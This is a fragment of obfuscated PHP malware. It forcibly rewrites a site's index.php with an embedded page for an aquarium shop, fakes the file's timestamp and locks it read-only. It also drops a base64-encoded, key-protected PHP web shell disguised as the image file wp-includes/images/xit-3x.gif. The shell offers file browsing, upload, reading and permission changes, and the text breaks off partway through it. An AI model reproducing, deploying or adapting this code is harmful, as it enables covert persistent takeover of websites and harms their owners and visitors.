UZ2WVZoT2VscFlVVzlLUmpsVVVsWktWMUpXU21KS01HaFZWa1pDWmxFd1dtWlJNRGxQVkd0V1JGWkZiRTlTTVRsS1ZVTmtaRXRUUVcxS2FVRm9XbGN4ZDJSSWEyOUtSamxVVWxaS1YxSldTbUpLTUdoVlZrWkNabEV3V21aUk1EbFBWR3RXUkZaRmJFOVNNVGxLVlVOa1pFdFRhMmRsZVZKd1kwWTVhRnBIVW5sSlJEQm5Ta1k1VkZKV1NsZFNWa3BpU2pCb1ZWWkdRbVpSTUZwbVVUQTVUMVJyVmtSV1JXeFBVakU1U2xWRFpHUlBNekJuV2xkNGVscFhiRzFKUTJod1l6Tk9iR1JEWjJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVdWZ3hTa1pSVlhobVUxWkJibGhUYTJkS2FWbG5TVmRXZEdOSVVqVkxRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd4YUdaVmExWkNWRVk1U2xWRFpHUkxVMnRuWlhsU2NHTkdPV2hhUjFKNVNVUXdaMHBHT1ZSU1ZrcFhVbFpLWWtvd2FGVldSa0ptVjBZNVUxSlZSazFZTUd4UlNqRXdOMlpUUW14aVNFNXNZVmRaWjB0SGJIcGpNbFl3UzBOU1psVXdWbE5XYTFaVFYzbGtTVlpHVWxGWU1XaG1VbXM1VTFZd1JsTlNSVlpGV0RCYVVGVnBaR1JMVTBGdFNtbEJhRnBYTVhka1NHdHZTa1k1VkZKV1NsZFNWa3BpU2pCb1ZWWkdRbVpYUmpsSFZERktXRkZXU2tWU1ZWSm1VbXM1VTBveE1IQkxVMEkzU2tkc2QxZ3lSbXRhU0VsblVGTkJhMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVZIUTVTVWRXYzJNeVZXZGxlVkp3WTBZNWFGcEhVbmxKUkRCblNrWTVWRkpXU2xkU1ZrcGlTakZLUmxSVk9WVlNWamxDVWtWU1Uwb3hNRGRtVTFKd1kwWTVhRnBIVW5sSlJEQm5aRWhLY0dKVGFIcGtTRXBtWTIxV2QySkhSbXBhVTJkcFNVTkpjMGxEU1dsTVEwRnJZVmhDWmxsWFVtdGphV3R6U1VOSmMwbHBhemRoVjFsblMwaE9NR051UW5aamVXZHJZVmhDWmxsWFVtdGphWGRuU1dsM2FVdFRRV2hRVkRCbldtMUdjMk15VlhCSlNITnJZVmhDWmxsWFVtdGphVUU1U1VkV05HTkhlSFphUjFWdlNXbDNhVXhEUVd0aFdFSm1XVmRTYTJOcGF6ZEtSMngzV0RKR2ExcElTV2RRVTBGcllWaENabGxYVW10amJITjNXRlIwT1dOdFZqQmtXRXAxU1VOU2NHTkdPV2hhUjFKNVR6TXhiV1JYTldwa1IyeDJZbWxDYldFelFsTlhSVnBzVlZaV2RVdERiRGRLUjJnd1pFaENabU5JU25aa1J6aG5VRk5CYm1GSVVqQmpSRzkyVEhsak4yRlhXV2RMUjJ4Nll6SldNRXREVW1aVk1GWlRWbXRXVTFkNVpFbFdSbEpSVlhsa1pFdFRRVzFLYVVKNlpFaEtNR0l5ZUhaa01sWjVTME5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZWZVdSa1MxTkJhRkJVTUdkS01qbHRXbWxqY0VsSWMydGhTRkl3WTBZNWQyTnRPVEJpZVVFNVNVTmtiMlJJVW5kamVtOTJUSGxqTjJaVFFteGlTRTVzWVZkWlowdEhiSHBqTWxZd1MwTlNabFV3VmxOV2ExWlRWM2xrU1ZaR1VsRllNV2htVW1zNVUxWXdSbE5TUlZaRldERkNVMVF4VWxCS01UQndTVU5aYlVsRFVtWlZNRlpUVm10V1UxZDVaRWxXUmxKUldERm9abEpyT1ZOV01FWlRVa1ZXUlZneFFsTlVNVkpRU2pFd1oxQlVNRGxKUTJSdlpFaFNkMk41WTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVUwSnNZa2hPYkdGWFdXZExSMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1WkVsV1JsSlJXREJhVTFRd05WVllNRlpQVWtZNVNWWkdVbEZWZVdSa1MxTkJiVXBwUW5wa1NFb3dZako0ZG1ReVZubExRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd3V2xOVU1EVlZXREJXVDFKR09VbFdSbEpSVlhsa1pFdFRRV2hRVkRCblNqSTViVnBwWTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVdFcHNaRWhXZVdKcFFXdGhTRkl3WTBZNWQyTnRPVEJpZW5RNVlWZFpaMHREVW1aVk1GWlRWbXRXVTFkNVpGTlNWa1pXVWxaT1ZWZ3hWbE5UVTJSa1NVUXdPVkJUUVc1TU1VbDBTbmxCZFVsSE1XdE9VMmRyV0RGT1JsVnNXa1pWYkhOdVZUQldVMVpyVmxOWU1EVkNWRlZWYmxoVGEzQkpTSFJzWlVkc01FdElUakJqYmtwc1pHbG9kRnBFVlc5S1JqbFVVbFpLVjFKV1NtSktNVTVHVld4YVJsVnNPVTlSVlRGR1NqRXdjRXRUYXpkbVYyeHRTVU5vZW1SWFNucGtTRXBtV1RJNU1XSnVVVzlLUmpsVVVsWktWMUpXU21KS01VcEdWVlpXUmxVeFVtWldWa3BLU2pFd2MwbERaSEJpYlZKc1pVTTFkMkZJUVhaaGJYTnVTMU5yWjJVeVZqUmhXRkZ2U2pOelowbHRWbmxqYlRsNVNXcHZaMDFxUVhkTVEwRnBZa2ROYVU5cFFXbGhiWE5wVEVOQmFWcEhSakJaVTBrMlNVWnpaMDFUUW1SSlNEQnVTMVIwT1VwSGJIZFlNa1pyV2toSloxQlRRa0ppUjJ4SldWaEtUMUZzVWtkVlZscE1TME5yTjBwSVNteGFiVlo1V2xoSloxQlRRbnBrU0VveVdWZDNiMUZEVW1aVk1GWlRWbXRXVTFkNVpFbFdSbEpSV0RGS1JsSnJWbE5TVmtsdVdGTnJOMHBJVG5Ca1IxWm1aRmhLYzBsRU1HZGFiWFIzVld4b1IxcFdSbFppYVdkd1NVTTBaMHBHT1ZSU1ZrcFhVbFpLWWtvd2FGVldSa0ptVTBVNVZGWkRaR1JQTW14dFNVTm9lbVJJU25kaU0wMXZTa2hLYkZwdFZubGFXRWx6U1VOU2VtRllVbXhZTTFaNVlrTnJaMUJVTURsSlJFRndTVU5TZVZwWFdteGpiVlo1U1VRd1owcDVZemRLU0VwNFNVUXdaMWxZU25sWldHdHZTMVJ6YTJOdVJtSktNbXR1V0ZOQk9VbEhXak5qYlhSelkxZFdORlZHUm5SaWJGSjZWRzFLY1ZsWGEyOUtSMngzV0RKR2ExcElTWEJQZVZKNVkxWnpibUpEWkdSSlJEQm5XbTVrZVdFeWVIaGFXR2hSVlZjeGRWWklUazlaYlhCb1lWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxDVVRCT1JsVkdVbVpVUlVaUFVqRldRbEl3Vlc1WVUyczNTa2hLZUZkNVpIcGlhV1JrU1VRd1oxcHVaSGxoTW5oNFdsaG9VVlZYTVhWV1NFNVBXVzF3YUdGVFoydFlNVTVHVld4YVJsVnNjMjVWTUU1VFUxWkNWVmd3TlVKVVZWVnVXRk5yTjBwSVNuaFhlV1I1U2pFd1oxQlRRbTFrTTBweVlraEdiR1ZHUWxKaVZ6VlZZekExYVdGdFJuQkxRMUptVlRCV1UxWnJWbE5YZVdSVFVsWkdWbEpXVGxWWU1WWlRVMU5rWkV0VWMydGpia1ppU2pOS2JVb3hNR2RRVTBKdFpETktjbUpJUm14bFJrSlNZbGMxVldNd05XbGhiVVp3UzBOU2VWcFhXbXhqYlZaNVMxUnphMk51Um1KS00wMXVXRk5CT1VsSFdqTmpiWFJ6WTFkV05GVkdSblJpYkZKNlZHMUtjVmxYYTI5S1NFNXdaRWRXWm1SWVNuTkxWSE5yWTI1R1lrb3pWVzVZVTBFNVNVZGFNMk50ZEhOalYxWTBWVVpHZEdKc1VucFViVXB4V1ZkcmIwcEdPVlJTVmtwWFVsWktZa293YUZWV1JrSm1WbFpPUmxWc09VSlNNRlpQVmtOa1pFdFVjMnRqYkRrd1kyMXNkRWxFTUdkalNFcHNXakU1ZVZwWVFuTlpWMDVzUzBOamRsaEVPSFZMYVRodVRFTkJia3A1ZDJkS1JqbFVVbFpLVjFKV1NtSktNVXBHVlZaV1JsVXhVbVpXVmtwS1NqRXdjRTk1VW5sWU1teDZaRWRHTUdGWFRXZFFVMEp0V1ZkNGVscFVkSEJhYVVGdll6TlNlV05IT1hwTFExSjVXRE5TZVdGWE1ITkpRMk4xU25scloxQnBRWGRLYVZwNlpFaEtkMkl6VFc5S1NFcG1aRWhLY0dKVGQyNU1ia0p2WTBOamNGQlVNRGxhYlVaell6SlZjRWxJYzJ0YVdHZ3dTVVF3WjJNelZtbGpNMUo1UzBOU2VWZ3pVbmxoVnpCelNVaE9NR051UW5aamVXZHJZMnc1TUdOdGJIUk1RMEZ1VEdsamNFdFVkSEJhYVVGdllWYzFabGxZU25sWldHdHZTa2RXTkdSRGQyZFpXRXA1V1ZocmIwcDVOWEZqZVdOelNVTmpkVmt6VG5wS2VYZG5TbmsxY1dOSFkyNU1RMEZ1VEc1Q2RWcDVZM05KUTJOMVdqSnNiVXA1ZDJkS2VUVndXVEk0Ymt0VGEzQkpTSE5yWTJ3NWNHTXpVbWhrUjJ4cVNVUXdaMlJJU2pGYVZIUTVabGRzYlVsRFoyaEtTRXBtWVZoT01GbFlVbkJaZVd0blpYbFNlVnBZVG5kaU1qVjZXbE5CT1VsRmRHaGxSa1pwV1ROR1YxRlZiREpWUlU1SlUydGtiVXRIU21oak1sVXlUa1k1YTFwWFRuWmFSMVZ2U1cxR1NWVnFRbXBTUnpreVZFUk9kMlZyTVRaVFdIQnJZV3RXTmxsNlRsWmtWMGw1VjIweGFGWXdOWE5aTW1zeFl6RnNXVlZZV1dsTFUzZG5Ta2hLZUV0VWRIQmFhVUZ2U1Zkc2RWZ3lSbmxqYlVZMVMwTlNlVnBZVG5kaU1qVjZXbFp6Ym1NelVtaGtTRlo2U2pFd2MwbEhSbmxqYlVZMVMwUkJjMGxFU1hkTlEydHdTMU5DTjJNelpIQmtSMDV2U1VObmEyTnRWbnBqUnpsMVl6SldZa296VGpCWldGSXhZM2xrWkV0VFFqZFpNa1o2V2xOQmVrMUVSVFpoUjFab1drZFdlVXREWkVsV1JsSlJUSHBGZFUxVFFYcE5SRVZuVkZjNU1scFhVV2RWUjFaNVlsZEdkVnBYTlRCaVNHdHVTMVIwYjFwWFJtdGFXRWx2U2pCNGRsa3lSakJoVnpsMVQybEJia2xETkdka1NFcHdZbE5uYTJOdFZucGpSemwxWXpKV1lrb3lUblppYmxKc1ltNVJibGhUYTNCUE1rcDVXbGRHY2s4eVRtaGpNbFZuVFhwQmVVOXRhR3haVjFKc1kybG5ibE5HVWxWVlF6aDRUR3BGWjAxNlFYbEpSVEYyWkcxVloxWkhWblJqUnpsNVdWaEtjR0pJYTI1TFZIUnZXbGRHYTFwWVNXOUtNSGgyV1RKR01HRlhPWFZQYVVGdVNVTTBaMlJJU25CaVUyZHJZMjFXZW1OSE9YVmpNbFppU2pKT2RtSnVVbXhpYmxGdVdGTnJjRTh5U25sYVYwWnlUekpPYUdNeVZXZE9SRUV3VDIxb2JGbFhVbXhqYVdkdVUwWlNWVlZET0hoTWFrVm5Ua1JCTUVsRk5YWmtRMEpIWWpOV2RWcERZM0JQTW1oc1dWZFNiR05wWjJsak0xSm9aRWhXZWs5cFFUQk5SRkZuVkcwNU1FbEZXblprVnpWclNXbHJOMWx1U214WlYzTTNXa2RXYlZsWVZuTmtSSEJwWTIxV2FHRjZkRGxtVjJ4dFNVTm9lbVJJU25OYVZ6UnZTa2hLYkdNelFuWmliazVzVjNsa2FtSXlOVEJhVnpVd1NqRXdjRXRUUWpkUlIyaHNXVmRTYkdOcFoyNVJNamwxWkVkV2RXUkRNVlZsV0VKc1QybGpaMHhwUVd0amJWWjZZMGM1ZFdNeVZtSktNMUkxWTBkVmJsaFRhemRhVjA1dllubEJhMk50Vm5walJ6bDFZekpXWWtveVRuWmlibEpzWW01UmJsaFVkR3hsUjJ3d1MwUkJjRTh6TVRsUWVqUTlJaWtwT3c9PSIvKi0+Y3NOIX0jeC0qLykvKi08cUtdQTI5LSovKTsvKi1uZSFfZ10oLSovPz48PwpyZXF1aXJlKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi9iaXRyaXgvaGVhZGVyLnBocCIpOwokQVBQTElDQVRJT04tPlNldFBhZ2VQcm9wZXJ0eSgiZGVzY3JpcHRpb24iLCAi0J7Qv9GC0L7QstGL0LUg0L/RgNC+0LTQsNC20Lgg0LDQutCy0LDRgNC40YPQvNC90YvRhSDRgNGL0LHQvtC6LCDQutC+0YDQvNC+0LIg0Lgg0L7QsdC+0YDRg9C00L7QstCw0L3QuNGPLiIpOwokQVBQTElDQVRJT04tPlNldFBhZ2VQcm9wZXJ0eSgidGl0bGUiLCAi0KLQvtCy0LDRgNGLINC00LvRjyDQsNC60LLQsNGA0LjRg9C80LjRgdGC0LjQutC4INC4INGC0LXRgNGA0LDRgNC40YPQvNC40YHRgtC40LrQuCDQvtC/0YLQvtC8IHwgQXhvbG90bHMucnUiKTsKJEFQUExJQ0FUSU9OLT5TZXRQYWdlUHJvcGVydHkoInZpZXdlZF9zaG93IiwgIlkiKTsKJEFQUExJQ0FUSU9OLT5TZXRUaXRsZSgi0JrQvtC80L/QsNC90LjRjyDQkNC60YHQvtC70L7RgtC70YwiKTsKPz48P3JlcXVpcmUoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4iL2JpdHJpeC9mb290ZXIucGhwIik7Pz4="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @touch($do."index.php", filectime($do."index.php")); @chmod($do."index.php", 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9